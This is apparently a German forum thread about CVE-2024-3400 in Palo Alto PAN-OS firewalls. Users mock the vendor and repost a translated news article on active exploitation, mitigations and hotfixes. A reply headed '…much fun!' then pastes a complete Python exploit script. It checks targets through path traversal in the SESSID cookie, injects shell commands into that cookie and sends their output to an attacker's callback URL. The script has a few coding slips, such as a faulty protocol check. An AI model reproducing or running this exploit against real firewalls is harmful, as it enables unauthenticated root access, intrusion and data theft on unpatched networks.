5 Tage um einen Day 0 Bug zu fixen, ist diletantisch hoch 3.
Was erwartest du denn von denen?
Die haben sich einfach ihre eigene Unfähigkeit / und fehlende Professionalität von 2019 zu Herzen genommen und sich für die Zukunft auf die Fahnen geschrieben!
Die veränderte Grafik stammt von heise online, passt aber leider zu gut dazu!
JAP…weil das Endergebnis 2019 und aktuell 2024 das Gleiche ist !!
…und es geht weiter:
Update 16.04.24: Aktualisierte Geschichte mit weiteren Informationen darüber, dass frühere Abhilfemaßnahmen Geräte nicht schützen.
Exploit-Code ist jetzt für eine maximale Schwere und aktiv ausgenutzte Schwachstelle in der PAN-OS-Firewall-Software von Palo Alto Networks verfügbar.
Diese als CVE-2024-3400 verfolgte Sicherheitslücke kann es nicht authentifizierten Bedrohungsakteuren ermöglichen, bei Angriffen geringer Komplexität auf anfällige PAN-OS 10.2-, PAN-OS 11.0- und PAN-OS 11.1-Firewalls des Geräts beliebigen Code als Root per Befehlsinjektion auszuführen Telemetrie und GlobalProtect (Gateway oder Portal) sind aktiviert.
Während Palo Alto Networks am Montag damit begonnen hat, Hotfixes zu veröffentlichen, um nicht gepatchte Firewalls zu schützen, die Angriffen ausgesetzt sind, wird die Schwachstelle seit dem 26. März als Zero-Day-Angriff ausgenutzt, um Firewalls mithilfe von Upstyle-Malware durch Backdoors zu blockieren, in interne Netzwerke einzudringen und Daten zu stehlen eine Bedrohungsgruppe, von der angenommen wird, dass sie staatlich gefördert wird und als UTA0218 verfolgt wird.
Shadowserver, eine Plattform zur Überwachung von Sicherheitsbedrohungen, sieht täglich mehr als 156.000 PAN-OS-Firewall-Instanzen im Internet; Es liefert jedoch keine Informationen darüber, wie viele davon gefährdet sind.
Am Freitag (12.04.2024) fand der Bedrohungsforscher Yutaka Sejiyama außerdem über 82.000 Firewalls, die für CVE-2024-34000-Angriffe anfällig waren, 40 % davon befanden sich in den Vereinigten Staaten.
Einen Tag nachdem Palo Alto Networks mit der Veröffentlichung der CVE-2024-3400-Hotfixes begann, veröffentlichte watchTowr Labs auch eine detaillierte Analyse der Schwachstelle und einen Proof-of-Concept-Exploit, mit dem Shell-Befehle auf ungepatchten Firewalls ausgeführt werden können.
„Wie wir sehen können, injizieren wir unsere Befehlsinjektionsnutzlast in den SESSID-Cookie-Wert – der dann, wenn auf einer Palo Alto GlobalProtect-Appliance Telemetrie aktiviert ist, zu einer Zeichenfolge verkettet und schließlich als Shell-Befehl ausgeführt wird“, sagte watchTowr Labs.
Justin Elze, Chief Technology Officer von TrustedSec, teilte auch einen Exploit mit , der bei tatsächlichen Angriffen beobachtet wurde und es Angreifern ermöglichte, die Konfigurationsdatei der Firewall herunterzuladen.
Als Reaktion auf die Angriffe hat CISA am Freitag CVE-2024-3400 in seinen Katalog bekannter ausgenutzter Sicherheitslücken (KEV) aufgenommen und die US-Bundesbehörden angewiesen, ihre Geräte innerhalb von sieben Tagen bis zum 19. April zu sichern.
Leider hat Palo Alto Networks heute seine Empfehlung aktualisiert, um zu warnen, dass zuvor veröffentlichte Abhilfemaßnahmen sich als unwirksam erwiesen haben, um Geräte vor der Schwachstelle zu schützen.
„In früheren Versionen dieser Empfehlung wurde die Deaktivierung der Gerätetelemetrie als sekundäre Abhilfemaßnahme aufgeführt. Die Deaktivierung der Gerätetelemetrie ist keine wirksame Abhilfemaßnahme mehr“, heißt es in einer Aktualisierung der Empfehlung von Palo Alto .
„Gerätetelemetrie muss nicht aktiviert sein, damit PAN-OS-Firewalls Angriffen im Zusammenhang mit dieser Sicherheitslücke ausgesetzt sind.“
Daher besteht die beste Lösung darin, das neueste PAN-OS-Softwareupdate zu installieren, um die Schwachstelle zu beheben.
Wenn Sie über ein aktives „Threat Prevention“-Abonnement verfügen, können Sie darüber hinaus laufende Angriffe blockieren, indem Sie die auf Bedrohungsprävention basierende Schadensbegrenzung „Threat ID 95187“ aktivieren.
Nachtrag:
Exploit Title: Palo Alto PAN-OS < v11.1.2-h3 - Command Injection and Arbitrary File Creation
…much fun!
# Exploit Title: Palo Alto PAN-OS < v11.1.2-h3 - Command Injection and Arbitrary File Creation
# Date: 21 Apr 2024
# Exploit Author: Kr0ff
# Vendor Homepage: https://security.paloaltonetworks.com/CVE-2024-3400
# Software Link: -
# Version: PAN-OS 11.1 < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3
# PAN-OS 11.0 < 11.0.0-h3, < 11.0.1-h4, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1
# PAN-OS 10.2 < 10.2.0-h3, < 10.2.1-h2, < 10.2.2-h5, < 10.2.3-h13, < 10.2.4-h16, < 10.2.5-h6, < 10.2.6-h3, < 10.2.7-h8, < 10.2.8-h3, < 10.2.9-h1
# Tested on: Debian
# CVE : CVE-2024-3400
#!/usr/bin/env python3
import sys
try:
import argparse
import requests
except ImportError:
print("Missing dependencies, either requests or argparse not installed")
sys.exit(2)
# https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
# https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
def check_vuln(target: str, file: str) -> bool:
ret = False
uri = "/ssl-vpn/hipreport.esp"
s = requests.Session()
r = ""
headers = {
"User-Agent" : \
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": \
f"SESSID=../../../var/appweb/sslvpndocs/global-protect/portal/images/{file}"
}
headers_noCookie = {
"User-Agent" : \
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" # Windows 10 Chrome 118.0.0.0
}
if not "http://" or not "https://" in target:
target = "http://" + target
try:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
except requests.exceptions.Timeout or requests.ConnectionError as e:
print(f"Request timed out for \"HTTP\" !{e}")
print("Trying with \"HTTPS\"...")
target = "https://" + target
try:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
except requests.exceptions.Timeout or requests.ConnectionError as e:
print(f"Request timed out for \"HTTPS\"")
sys.exit(1)
else:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
if r.status_code == 200:
r = s.get( (target + f"/global-protect/portal/images/{file}"), verify=False, headers=headers_noCookie, timeout=10 )
if r.status_code == 403:
print("Target vulnerable to CVE-2024-3400")
ret = True
else:
return ret
return ret
def cmdexec(target: str, callback_url: str, payload: str) -> bool:
ret = False
p = ""
if " " in payload:
p = payload.replace(" ", "${IFS)")
uri = "/ssl-vpn/hipreport.esp"
headers = {
"User-Agent" : \
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", # Windows 10 Chrome 118.0.0.0
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": \
f"SESSID=../../../../opt/panlogs/tmp/device_telemetry/minute/attack782`{callback_url}?r=$({payload})`"
}
s = requests.Session()
r = ""
if not "http://" or not "https://" in target:
target = "http://" + target
try:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
except requests.exceptions.Timeout or requests.ConnectionError as e:
print(f"Request timed out for \"HTTP\" !{e}")
print("Trying with \"HTTPS\"...")
target = "https://" + target
try:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
except requests.exceptions.Timeout or requests.ConnectionError as e:
print(f"Request timed out for \"HTTPS\"")
sys.exit(1)
else:
r = s.post( (target + uri), verify=False, headers=headers, timeout=10 )
if not "Success" in r.text:
return ret
else:
ret = True
return ret
#Initilize parser for arguments
def argparser(selection=None):
parser = argparse.ArgumentParser( description='CVE-2024-3400 - Palo Alto OS Command Injection' )
subparser = parser.add_subparsers( help="Available modules", dest="module")
exploit_subp = subparser.add_parser( "exploit", help="Exploit module of script")
exploit_subp.add_argument( "-t", "--target",help="Target to send payload to", required=True )
exploit_subp.add_argument( "-p", "--payload", help="Payload to send (e.g: whoami)", required=True )
exploit_subp.add_argument( "-c", "--callbackurl", help="The callback url such as burp collaborator or similar", required=True )
#---------------------------------------
check_subp = subparser.add_parser( "check", help="Vulnerability check module of script" )
check_subp.add_argument( "-t", "--target", help="Target to check if vulnerable", required=True )
check_subp.add_argument( "-f", "--filename", help="Filename of the payload (e.g \"exploitCheck.exp\"", required=True )
args = parser.parse_args(selection)
args = parser.parse_args(args=None if sys.argv[1:] else ["-h"])
if args.module == "exploit":
cmdexec(args.target, args.callbackurl, args.payload)
if args.module == "check":
check_vuln(args.target, args.filename)
if __name__ == "__main__":
argparser()
print("Finished !")